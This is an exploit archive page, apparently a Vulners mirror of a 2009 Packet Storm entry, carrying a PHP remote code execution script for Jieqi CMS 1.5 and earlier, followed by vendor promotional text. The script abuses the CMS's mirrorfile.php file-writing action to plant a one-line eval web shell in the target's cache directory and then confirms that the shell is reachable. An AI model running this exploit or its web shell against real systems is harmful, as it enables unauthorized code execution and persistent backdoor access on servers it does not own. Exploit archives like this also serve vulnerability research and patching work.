Lucene search
K

Jieqi CMS 1.5 Code Execution

🗓️ 19 May 2009 00:00:00Reported by Securitylab Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Jieqi CMS 1.5 Code Execution exploit by Securitylab.i

Code
`<?php  
print_r('  
+---------------------------------------------------------------------------+  
Jieqi cms <= 1.5 remote code execution exploit  
by Securitylab.ir  
mail: [email protected]  
+---------------------------------------------------------------------------+  
');  
/**  
* works regardless of php.ini settings  
*/  
if ($argc < 3) {  
print_r('  
+---------------------------------------------------------------------------+  
Usage: php '.$argv[0].' host path  
host: target server (ip/hostname)  
path: path to jieqi cms  
Example:  
php '.$argv[0].' localhost /  
+---------------------------------------------------------------------------+  
');  
exit;  
}  
error_reporting(7);  
ini_set('max_execution_time', 0);  
$host = $argv[1];  
$path = $argv[2];  
$url = 'http://'.$host.$path.'mirrorfile.php?filename=cache/seculab.php&action=writetofile&content=';  
$shell = 'http://'.$host.$path.'cache/seculab.php';  
$cmd = urlencode("<?php @eval(\$_POST[hamed]);?>test");  
$str = file_get_contents($url.$cmd);  
if ( file_get_contents($shell) == 'test')  
exit("Expoilt Success!\nView Your shell:\t$shell\n");  
else  
exit("Exploit Failed!\n");  
?>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2009 00:00Current
0.5Low risk
Vulners AI Score0.5
24